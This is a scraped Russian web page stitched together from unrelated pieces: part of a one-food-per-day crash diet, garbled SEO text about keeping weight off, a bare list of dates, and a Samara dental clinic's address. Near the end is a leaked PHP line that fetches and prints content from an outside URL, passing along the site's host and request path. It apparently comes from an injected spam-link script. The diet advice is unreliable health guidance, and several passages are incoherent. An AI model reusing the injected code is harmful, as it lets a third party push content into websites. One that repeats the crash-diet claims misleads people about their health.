В этот день вы должны отдать предпочтение кисломолочным продуктам. Выберите что-нибудь молочное - кефир, йогурт или ряженку — и пейте маленькими глоточками в течение дня. Если ваш пустой желудок постоянно напоминает о себе, то съешьте немного нежирного творога с небольшим количеством сахара без сметаны. Закончить этот день лучше всего стаканом кефира.
Пятница
Снова овощи. Выберите их по своему усмотрению — это может быть капуста, тыква, картофель (но не жареный, а отварной) или сочные помидоры. Ешьте только овощи в течение всего дня и запивайте минеральной водой.
Суббота
Этот день посвятите какой-нибудь ягоде: черешне, абрикосам или персикам. В течение дня ешьте выбранные вами ягоды, а на ночь не забудьте выпить полный стакан кефира.
Воскресенье
Самый, пожалуй, тяжелый и трудный. В течение дня вы должны будете пить какой-нибудь фруктовый сок — яблочный, виноградный или апельсиновый.
После этой диеты вы можете возвращаться к обычному питанию, но не набрасывайтесь на еду сразу же, а делайте это постепенно, иначе не пройдет и недели, как ваша стройная фигура вновь оплывет жиром.

Минус 60

Следует очистить от сердцевины и от кожуры блюдо, которое я собиралась съесть, я получала полную что сделать чтобы не набрать о его вес после похудения составе и количестве калорий в нем.

Сходить к врачу и рассказать ему об этом, он лучше всего знает что это может быть.

Как набрать вес????

Жрать побольше!!!

Работа с питание поможет вам снизить вес. Регулярные тренировки сделают ваше тело сильным и активным.Вы получите готовые ответы на эти вопросы Как питаться, чтобы не набирать вес?Что делать после похудения? Как сохранить вес?

Что сделать чтобы не набрать вес после похудения
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта